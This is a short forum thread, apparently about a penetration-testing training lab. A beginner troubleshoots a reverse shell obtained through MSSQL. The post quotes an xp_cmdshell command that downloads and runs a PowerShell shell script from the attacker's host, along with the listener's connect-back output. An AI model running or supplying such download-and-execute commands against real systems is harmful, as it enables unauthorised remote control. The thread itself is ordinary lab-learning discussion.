Starting Point Reverse Shell

Hi, I’m new here and I got an issue since yesturday. I hope someone, better than me, will find the problem!

I did the starting point but i blocked on the reverse shell.

I opened port 80 and 443

I set up a listener on port 443

I made a web server in the folder containing the file “shell.ps1” where i replace my ip

I executed all commands given in the tutorial

But when i execute the final : xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.X.X/shell.ps1\“);” nothing happen. Web server’s log show the file is download ( 10.10.X.X - - [26/Mar/2020 05:58:20] “GET /shell.ps1 HTTP/1.1” 200 -), but my listener do nothing ( it just say connect to [10.10.X.X] from (UNKNOWN) [10.10.10.27] 49801)… No error, no result…

Any idea here ?

It means you got a reverse shell. You won’t see the C:> prompt, but cmd commands still work. Type ipconfig /all, whoami /all

Well… I don’t know what to say… It works perfectly… I was so much waiting for a printing result… Thanks a lot for your help and your time !

Did you have to make any configuration changes to your box to get the connection?